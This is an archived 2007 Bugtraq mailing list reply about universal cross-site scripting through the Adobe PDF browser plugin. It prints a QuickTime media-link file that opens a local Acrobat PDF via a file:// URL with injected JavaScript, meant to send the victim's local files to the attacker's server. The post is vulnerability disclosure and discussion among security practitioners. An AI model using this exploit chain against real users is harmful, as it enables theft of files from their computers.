Bugtraq mailing list archives
RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
From: "Tom Stripling" <tstripling () securityps com>
Date: Mon, 8 Jan 2007 13:26:49 -0600
Brian, You can't access local pages directly, but there are ways around that restriction. For example, someone on this list (I forget where I first read this, sorry) wrote about a quicktime exploit using qtl files that allows you to access a local file from a remote site. I've been able to use this to exploit the PDF plugin vulnerability in a local context from a remote web page. The file would look something like this: <?xml version="1.0"?> <?quicktime type="application/x-quicktime-media-link"?> <embed src="a.mp3" autoplay="true" qtnext="file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.p df#a=javascript:script_to_send_local_files_to_my_server"/> It works like a charm. So essentially, anyone on the Internet able to run JavaScript or otherwise get me to open this file could read all the files off of my hard drive, if I were vulnerable. Scary. Tom -- Tom Stripling, CISSP, CISA | Senior Security Consultant | Security PS [office - 913.888.2111 x6142 | mobile - 913.488.9712] www.securityps.com -----Original Message----- From: Brian Eaton [mailto:eaton.lists () gmail com] Sent: Monday, January 08, 2007 1:07 PM To: RSnake Cc: Amit Klein; bugtraq () securityfocus com; Web Security Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Someone (I believe RSnake) pointed out that many browser machines have PDF files in predictable locations that can be accessed via file:// links. That lets an attacker gain local javascript execution. At one point Firefox had a rule restricting http:// and https:// web pages from accessing file:// links. Does that rule still exist, and if so does it mitigate the risk posed to firefox users? Regards, Brian ------------------------------------------------------------------------ ---- The Web Security Mailing List: http://www.webappsec.org/lists/websecurity/ The Web Security Mailing List Archives: http://www.webappsec.org/lists/websecurity/archive/ http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
Current thread:
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous pdp (architect) (Jan 04)
- <Possible follow-ups>
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Rude Yak (Jan 04)
- RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous RSnake (Jan 04)
- RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Martin O'Neal (Jan 04)
- Re: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous rudeyak (Jan 04)
- RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Martin O'Neal (Jan 08)
- Re: Re: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous rudeyak (Jan 08)
- Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous pdp (architect) (Jan 08)
- RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous Tom Stripling (Jan 09)